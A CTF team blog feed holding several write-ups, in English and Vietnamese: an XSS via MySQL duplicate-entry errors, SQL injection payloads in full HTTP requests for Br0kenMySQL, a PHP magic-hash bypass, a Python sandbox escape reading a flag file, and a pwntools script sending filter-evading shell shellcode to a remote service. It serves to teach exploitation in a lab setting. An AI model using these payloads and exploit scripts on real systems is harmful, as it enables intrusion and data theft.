justcallmedude – BabyPhD CTF Team https://babyphd.net Nói chung đây là một khái niệm vô cùng trừu tượng Thu, 27 Jul 2017 19:03:39 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.2 104079289 MeepwnCTF 2017 - injection https://babyphd.net/2017/07/27/meepwnctf-2017-injection/ Thu, 27 Jul 2017 18:47:24 +0000 https://babyphd.net/?p=659 Continue reading MeepwnCTF 2017 - injection ]]> Another injection? Awesome, another ART I want to learn so much. Learning *injection*-fu is hard, keep learning, practicing, ctf all the time.

According to Saitama, after a year and half of 100 daily push-ups, sit-ups, and squats, plus 10 km daily running, he had achieved some level of superhuman strength.

Sourcecode (base64)

Spoiler alert: In the previous post, I once said something about SQLi (aka SQL injection) and XSS.
I will write up as my timeline trying to solve this task.
I have sourcecode, yay, at least I known what the heck i'm facing with. At this time, I could use RIPS but I already have experience in source code audit, so, kill the bear with bare hand, why not (I'm not support killing wild animals).
Exploring source code is just time-comsuming task, after that, I have some notes:

  • Database structure:
    • The flag is the links table
    • charset LATIN1
    • all string field is varchar(500) - that's mean only 500 char stored in that column. I have some ideas about SQL truncate attack
  • The BOT:
    • chim.js is a file used in phantomjs (a headless browser), very familar with XSS problem.
    • the secret cookie is HTTPOnly (i'm not very it yet, blind trust), can't easy inject javascript code to steal cookie.
  • The php code:
    • every input entry has been mysqli_real_escape_string
    • every output has been htmlentities - the problem is this function by design/default didn't escape single quote '
    • CSRF, not have any CSRF check, likely XSS.
    • SET sql_mode=ANSI ?
    • function `filterLink` remove single quote ', double quote ", backtick `
    • `mysqli_error` for debug only?

The very likely exploitable for a XSS vuln is htmlentities
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )

Default flag is ENT_COMPAT | ENT_HTML401, but if I want to convert ', look at the flag table

Constant Name Description
ENT_COMPAT Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES Will convert both double and single quotes.
ENT_NOQUOTES Will leave both double and single quotes unconverted.
... ...
ENT_HTML401 Handle code as HTML 4.01.

Not bad, expected by design 😀

In a CTF challenge, most of task are solvable or exploitable. From my point of view, everything echo-ed back to us is something useful. such as `mysqli_error`.
In some point, I had tried to exploit the register function to make a new Admin but UNIQUE KEY (`user`) in table structure prevented it.

Luckily, when I try to insert a duplicated user into table, it warn me, with the most beautiful char, a single quote.
Example Database, notice the  space at user column.

CREATE DATABASE inj_1;
USE inj_1;
CREATE TABLE `users` (
`uid` int(11) NOT NULL AUTO_INCREMENT,
`user` varchar(50) NOT NULL,
`passwd` varchar(50) NOT NULL,
PRIMARY KEY (`uid`),
UNIQUE KEY (`user`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
ALTER TABLE `users` AUTO_INCREMENT=1;
INSERT INTO `users` VALUES (0, 'admin', 'a');
INSERT INTO `users` VALUES (0, 'admin ', 'a');
INSERT INTO `users` VALUES (0, 'admin onerror=aaa', 'a');
INSERT INTO `users` VALUES (0, 'admin onerror=aaa ', 'a');

One more thing with SELECT is, it didn't do bound check on input, look at this example

mysql> select * from users;
+-----+-------------------+--------+
| uid | user | passwd |
+-----+-------------------+--------+
| 1 | admin | a |
| 3 | admin onerror=aaa | a |
+-----+-------------------+--------+
2 rows in set (0,00 sec)

mysql> select * from users where user = 'admin'
-> ;
+-----+-------+--------+
| uid | user | passwd |
+-----+-------+--------+
| 1 | admin | a |
+-----+-------+--------+
1 row in set (0,01 sec)

mysql> select * from users where user = 'admin      ';
+-----+-------+--------+
| uid | user | passwd |
+-----+-------+--------+
| 1 | admin | a |
+-----+-------+--------+
1 row in set (0,00 sec)

mysql> select * from users where user = 'admin                    ';
+-----+-------+--------+
| uid | user | passwd |
+-----+-------+--------+
| 1 | admin | a |
+-----+-------+--------+
1 row in set (0,00 sec)

mysql> select * from users where user = 'admin                                                 1';
Empty set (0,00 sec)

With SET sql_mode=ANSI , I can bypass SELECT, also able trigger error in INSERT.
If you test in your db; make sure you have change your sql_mode,

by default (mysqld --verbose --help | grep mode) give ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

STRICT_TRANS_TABLES will give  error 1406 (22001): Data too long for column

In the code, there is a lot of space content $msg = mysqli_error($con); but I look the register function first. Then a lot of time trying to finger out how can I bypass the disable tag to have a functional onfocus tag (line 61 file login.php)

echo "<input type='text' value='$msg' class='form-control' disabled>";

After mysql return error string, I may have the following text:

<input type='text' value='Duplicate entry 'admin onerror=aaa   ' for key 'user'' class='form-control' disabled>

Now onerror has been escaped from the single quote, it is a event and can be develop with real payload such as onfocus, but it is disabled in this input form.

Example: <input autofocus onfocus=alert(1)> will pop an alert box
But not this one <input autofocus onfocus=alert(1) disabled>
Another place that I haven't notice is the links table. It also have uniq key is link, type of varchar(500)

Line 29 of index.php, the manual check did the same thing with register, both have

$msg = mysqli_error($con);
but this time, it is
echo "<input type='text' value='$msg' class='form-control' readonly>";
Yeah, readonly is better than disabled, I can use my favarite autofocus
 The final exploit flow could be (assume this is a XSS challenge):
  1. register
  2. login
  3. send a link that trigger a CSRF exploit to make bot create manual exploit link
  4. resubmit that trigger link
  5. waiting for flag, waka waka

Now this is time for trial error, here
or the original here
Ref:

  • https://ctftime.org/
  • http://onepunchman.wikia.com/wiki/Saitama
  • https://pastebin.com/hnvvVhW9
  • http://rips-scanner.sourceforge.net/
  • http://php.net/manual/en/function.htmlentities.php
  • https://www.w3.org/TR/html4/interact/forms.html#h-17.12
  • https://www.youtube.com/watch?v=pRpeEdMmmQ0
  • https://pastebin.com/mFCzmSN5
  • https://pastebin.com/jnCKtVi0

PS: WordPress SUCK!!!

]]>
659
MeepwnCTF 2017 - Br0kenMySQL 1-2-3 https://babyphd.net/2017/07/27/meepwnctf-2017-br0kenmysql1-2-3/ Thu, 27 Jul 2017 15:00:47 +0000 https://babyphd.net/?p=655 Continue reading MeepwnCTF 2017 - Br0kenMySQL 1-2-3 ]]> SQL injection, it's not only about %27, everything is Art. The author is the artist, and the competitor is critic. But not me, I'm just a dude want to make some fun, solving those inovative challenge help me remove my limit barriers.

There are 3 tasks.

  1. sourcecode
  2. sourcecode
  3. sourcecode

These were written in PHP and MySQL, you will need knownledge and experience about it.

1.

A very very classic web vulnerability called SQL injection (a kind of *injection*-ish) when you can inject your own query into developer's SQL query, make use of old query to extract information from database, make that query crash or keep it running depend on your purpose (leak full text or single bit, even out of band over other channel such as DNS, combine with XSS,..)

On line 25 when $id combined with SELECT statement to get username out of users table with some filter, then that username strict compare (===) with string guest

On line 36, again, $ip from $_SERVER['HTTP_X_FORWARDED_FOR'] process through same filter will be insert into logs table, in PHP, `$_SERVER['HTTP_X_FORWARDED_FOR']` equal to X-Forwared-for in HTTP request sent to the  PHP script.

On line 38, same $ip  (after filtered) will be SELECT from same users table. But this time this should return admin if we want flag at line 43.

This is confusing when with 2 same query but have 2 difference results. The first thing popped up like an alert box in my mind is using some kind of condition query. More detail, 1st: query return guest if condition A else admin, then change A; 2nd: because A changed so query return admin.

The INSERT query could be abuse for that. In MySQL there is a thing called variable.
They are permanently in same and single connection to database.
My ideas come clear with SQL query look like:

select username from users where id = -1 union select ( 'guest' if @a=1337 else 'admin')
insert into logs values(''),(@a:=1337),('')
select username from users where id = -1 union select ( 'guest' if @a=1337 else 'admin')

But I came first with a solution did not require `union` and `select`.
Enum the id parameter (?id=1,?id=2, ?id=3...) , it turned out 1 is admin and 2 is guest, add a little math-MySQL-magic, trial-error, help from MySQL documents, I have got final payload:


GET /?id=2-if(@a=1337,@a:=1,@a:=0) HTTP/1.1
Host: 139.59.239.133
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 1'),(@a:=1337),('2
Upgrade-Insecure-Requests: 1

With response
Br0kenMySQL
<p style="color: red;">Br0kenMySQL</p>
string(18) "1'),(@a:=1337),('2"
What ???????
Login as guest&amp;admin at the same time ?
Seems our code is broken, here is your bounty
MeePwnCTF{_b4by_tr1ck_fixed}

2.
This is an upgrade version of the first task.
It added more filter select|from|, now I need $id without select, from, and (, ), luckily, now I only need remove ( and ),
In MySQL there are a lot of conditional statement. because IF need his parent-heses, in CASE of fire, break glass, THEN call 114. Oh, did you who am I talking about?

Yeah, it is CASE ... THEN ... ELSE ... END
Debugging INSERT in mysqlclient connected to my test database let me know that I can assign variable's value inside statement, it is just a subquery if I correct.

GET /v2/?id=2-case+when+%40a%3d1337+then+1+else+0+end HTTP/1.1
Host: 139.59.239.133
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: '+@a:=1337+'
Upgrade-Insecure-Requests: 1

Br0kenMySQL
<p style="color: red;">Br0kenMySQL</p>
string(12) "'+@a:=1337+'"
What, again ???????!@#$!@#$!@#$
MeePwnCTF{_I_g1ve__uPPPPPPPP}
http://139.59.239.133/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?debug=%F0%9F%95%B5

3.
Althrough time|date|sec|day was blacklisted but I didn't use any of them.
Yay, same payload for 3rd flag.

Thanks @ml for great challenges. You absolutely should try his CTF challenge repo at Github.

Ref:

  • https://pastebin.com/T7zAcdhb
  • https://pastebin.com/kLAyi6qS
  • https://pastebin.com/v0PAEFNY
  • https://www.owasp.org/index.php/SQL_Injection
  • http://php.net/manual/en/types.comparisons.php
  • http://php.net/manual/en/reserved.variables.server.php
  • https://en.wikipedia.org/wiki/X-Forwarded-For
  • https://dev.mysql.com/doc/refman/5.7/en/user-variables.html
  • https://dev.mysql.com/doc/refman/5.7/en/case.html
  • https://github.com/l4wio/CTF-challenges-by-me/tree/master/meepwn-2017

 

]]>
655
ASISCTF 2017 - Web - Secure portal [1,2,3] https://babyphd.net/2017/05/12/asisctf-2017-web-secure-portal-123/ Fri, 12 May 2017 13:38:37 +0000 https://babyphd.net/?p=642 Continue reading ASISCTF 2017 - Web - Secure portal [1,2,3] ]]> Hey yo!

Long time no C++
Có chút vấn đề khi mình viết writeup cho bài này đó là phần lầy flag có vẻ không hoạt động 🙁 nên hiện tại mình chỉ có thể viết được phần 1.

Okie, link

Có gợi ý như sau By the way I know it's dangerous to code with IDE in server-side but I really obey security instructions.

Vào trang web và lưu lại các request & response bằng Burpsuite Proxy

Có thể là có cả những file cấu hình project - Information leak. Tiện sẵn máy mình cũng cài PHPStorm nên tạo luôn 1 project để xem thế nào

Như vậy là có các file như trong hình, thử vào .idea/workspace.xml và ...

Tiếp tục là 1 file php khác

Phân tích kỹ ta có 1 đoạn compare lỗi == ở if($realSign == $signature)

Bypass bằng cách bruteforce input để md5sum của (input + unknown-key) = 0e[a-f0-9]{30} aka magic hash, sau đó đến phần unserialize của $payload... hmm, không đơn giản lắm nhỉ, bruteforce mà vẫn phải unserialize được. Tuy nhiên thì ta có thể chèn thêm junk variables vào trong $payload mà deserialize không ảnh hưởng gì cả.

Ví dụ

Chạy 1 lúc (ở server cũ)

Sử dụng auth trên để lấy flag + source cho phần thứ 2.

<continue>

]]>
642
hackyou.ctf.su 2016 https://babyphd.net/2016/11/24/hackyou-ctf-su-2016/ https://babyphd.net/2016/11/24/hackyou-ctf-su-2016/#comments Thu, 24 Nov 2016 17:13:17 +0000 https://babyphd.net/?p=627 Continue reading hackyou.ctf.su 2016 ]]> This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.

Reverse 100:

#include <stdio.h>
#include <string.h>

int main() {
	char buf[64];
	gets(buf);
	int l = strlen(buf);
	if (l * l != 144)
		return 1;
	unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16);
	unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16);
	unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16);
	unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16);
	if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059))))
		return 2;
	if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931))))
		return 3;
	if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651))))
		return 4;
	if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510))))
		return 5;
	printf("Congratulations %s is flag\n",buf);
	return 0;
}

First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.

Reverse 200:
This is a .pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this

# Source Generated with Decompyle++
# File: rev200_bot_7b541a1.pyc (Python 2.7)

import config
import traceback
import re
from base64 import *
from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHide
sec_state = { }

def process_message(bot, u):
Warning: Stack history is not empty!
    if u.message.sender and u.message.text and u.message.chat:
        chat_id = u.message.chat.id
        user = u.message.sender.username
        reply_hide = ReplyKeyboardHide.create()
        print 'user:%s mes:%s' % (user, u.message.text)
        if user not in sec_state:
            sec_state[user] = {
                'mode': 15,
                'stage': 7 }
        cmd1 = u.message.text.encode('utf-8')
        a = re.findall('(\\/\\w+)\\s*(.*)', cmd1)
        if a:
            cmd = a[0][0]
            data = a[0][1]
            if cmd == '/help':
                bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide)
            if cmd == '/enter':
                keyboard = [
                    [
                        '-7-',
                        '-8-',
                        '-9-'],
                    [
                        '-4-',
                        '-5-',
                        '-6-'],
                    [
                        '-1-',
                        '-2-',
                        '-3-'],
                    [
                        '-0-']]
                reply_markup = ReplyKeyboardMarkup.create(keyboard)
                bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait()
            if sec_state[user]['mode'] == 0 and cmd == '/7779317':
                ddd = b64decode(data)
                bot.send_message(chat_id, eval(ddd))
            
        a = re.findall('-(\\d+)-', cmd1)
        if a:
            num = a[0]
            if int(num) == sec_state[user]['stage']:
                sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
                sec_state[user]['mode'] = sec_state[user]['mode'] - 1
                if sec_state[user]['mode'] < 0:
                    sec_state[user]['mode'] = 0
                if sec_state[user]['mode'] == 0:
                    bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait()
                
            else:
                print 'NO', num, sec_state[user]['stage']
                bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait()
                sec_state[user]['mode'] = 15
        

bot = TelegramBot(config.token)
bot.update_bot_info().wait()
print bot.username
last_update_id = 0
while True:
    updates = bot.get_updates(offset = last_update_id).wait()
    
    try:
        for update in updates:
            if int(update.update_id) > int(last_update_id):
                last_update_id = update.update_id
                process_message(bot, update)
                continue
    continue
    except Exception:
        ex = None
        print traceback.format_exc()
        continue
    

So this is a kind of chat-bot server based on Telegram.
There is eval function inside,  bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;

#coding: utf-8
sec_state = { }
user = "A"
sec_state[user] = {
'mode': 15,
'stage': 7 } # bruteforce number
sec_state[user]['mode'] = 15
r = []
while 1:
	num = sec_state[user]['stage']
	r.append(num)
	print "-%d-" % num
	sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
	sec_state[user]['mode'] = sec_state[user]['mode'] - 1
	if sec_state[user]['mode'] < 0:
	    sec_state[user]['mode'] = 0
	if sec_state[user]['mode'] == 0:
		break

print sec_state[user]['mode']

Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`

Reverse 300:
Let's get some fun.

let reverse this (or not?), look at handler (the main function)

ssize_t __cdecl handler(int fd)
{
  ssize_t result; // eax@1
  unsigned int buf; // [sp+20h] [bp-18h]@1
  int v3; // [sp+24h] [bp-14h]@1
  char *v4; // [sp+28h] [bp-10h]@4
  int v5; // [sp+2Ch] [bp-Ch]@4

  buf = 0;
  setuid(0x3E8u);
  seteuid(0x3E8u);
  setgid(0x3E8u);
  setegid(0x3E8u);
  result = recv(fd, &buf, 4u, 0);
  v3 = result;
  if ( result == 4 )
  {
    result = buf;
    if ( buf <= 0xC8 )
    {
      v4 = (char *)mmap(0, buf, 7, 33, -1, 0);
      v3 = recv(fd, v4, buf, 0);
      result = crc32(0, v4, buf);
      v5 = result;
      if ( result == 0xCAFEBABE )
      {
        result = filter(v4, buf) ^ 1;
        if ( !(_BYTE)result )
          result = ((int (*)(void))v4)();
      }
    }
  }
  return result;
}

So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:

1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;

from pwn import *
import socket, struct, telnetlib
def getCRC(data):
	import subprocess
	with open('/tmp/12', 'wb') as f:
		f.write(data + "123456")
	subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1) , 'CAFEBABE'])
	with open('/tmp/12', 'rb') as f:
		data = f.read()
	return data
def crc32(data):# recheck
	import zlib
	return (zlib.crc32(data)) & 0xffffffff


d = ""
d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))
d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))
# i need dup2 because the program use itself as server
d += asm(pwnlib.shellcraft.i386.linux.sh())

fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')

print len(fsc)
fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.
print hex(crc32(fsc))

#yes, i love my custom socket lib 🙁
s = socket.create_connection(("78.46.101.237", 3177))

s.send(p32(len(fsc)))
s.send(fsc)
s.send("\n")

s.send("cat flag*\n") 
print s.recv(1024)

To be continued....

]]>
https://babyphd.net/2016/11/24/hackyou-ctf-su-2016/feed/ 2 627
WhiteHat Contest 11 - Ultimate Design Tool https://babyphd.net/2016/07/05/whitehat-contest-11-ultimate-design-tool/ Tue, 05 Jul 2016 14:44:29 +0000 https://babyphd.net/?p=518 Continue reading WhiteHat Contest 11 - Ultimate Design Tool ]]> Sau cơn mưa, đừng vội bỏ áo mưa (1 icon nào đó của vozforums)

20141214094521-baocaosu285

Nội dung bài viết được thực hiện trên 1 trang mà tôi tự tiện clone lại đề của Bkav.
Nếu bạn đã đọc đến đây thì tức là bạn đang tìm kiếm lời giải cho 1 vấn đề, và hãy tiếp tục đọc xuống bên dưới, nếu bạn muốn tự khám phá thì hãy dừng lại ở đây và quay trở lại khi tạm thời chưa nghĩ ra ý tưởng, hoặc những ý tưởng của bạn đúng nhưng tôi lại setup sai 😕

Đề bài cho ta 1 đường link và dĩ nhiên theo quán tính tôi sờ tay vào ch...chuột click mở lấy vài cái cửa sổ, 1 cái view-source, 1 cái view page đã render.

1

Nếu bạn chưa quen làm việc với những challenge liên quan đến web, tôi khuyên bạn nên sử dụng công cụ proxy để theo dõi các request từ client và response. Nói cách khác, việc nắm bắt những hành động của challenge sẽ giúp bạn có cái nhìn tổng quan về attack surface. Tôi thấy mấy anh bạn hay dùng Chrome, nên tôi dùng luôn cái Developer tools của Chrome, bật "Preserve log" trong tab Network để những request cũ không bị xóa khi chuyển trang.2

Sơ bộ khi nhấn "Share your button!" sẽ có 1 request gửi đi với những tham số mà tôi nhập trong hình, cách xử lý dữ liệu gửi đi từ client rõ hơn trong file app.js, hướng đến push.php

 

3

Quan sát response, ta thấy điểm chung là có dữ liệu giống như trong request gửi đi. Một trang design button có chức năng share, là bước đầu của việc share + tín dụng (1 icon nào đó từ voz). Nếu chỉ có mình đọc được thì hơi chán, dẫn đến một vài phán đoán là có người thứ 2 đọc được, người ấy, chắc chắn không phải người yêu mình, mà là 1 thứ gì đó gọi là bot, hay flag keeper. Tình huống này rất có thể là client-side attack mà thông thường là XSS (đôi khi xuất hiện trong các kì CTF gần đây).

Có thêm 1 dữ kiện nữa là có 1 thành phần được comment trong code

<!-- Admin only ... 
<span value="secret"></span> 
-->

Tốt nhất là chiếm được phiên của admin để có được secret (có thể là flag luôn). Tóm lại là mình sẽ ngồi chèn javascript để get source code của cái trang admin đấy, bao gồm cả secret value luôn.

Việc dự đoán như vậy rất dễ khiến con nhà người ta đi sai hướng và không lấy được flag, ví dụ như người ra để muốn mình khai thác sql injection, hay command injection, các loại tiêm chủng mở rộng mà mình cứ đâm đầu vào khai thác XSS chẳng hạn. Đó là lý do tại sao bạn nên kiểm tra tất cả các khả năng mà bạn có thể nghĩ ra, chuyển hướng hoặc chuyển sang làm bài khác, hoặc blame admin đến khi có đội làm ra (đôi khi đề deploy có sơ suất nên không thể giải được).

Bài này mình đã bị sai hướng, rõ ràng là inject javascript rất đơn giản, mặc dù tất cả các ký tự đi qua đều đã bị lowercase- cần nhiều hơn (cụ thể là len(charset)*2) điều kiện blind.

]]>
518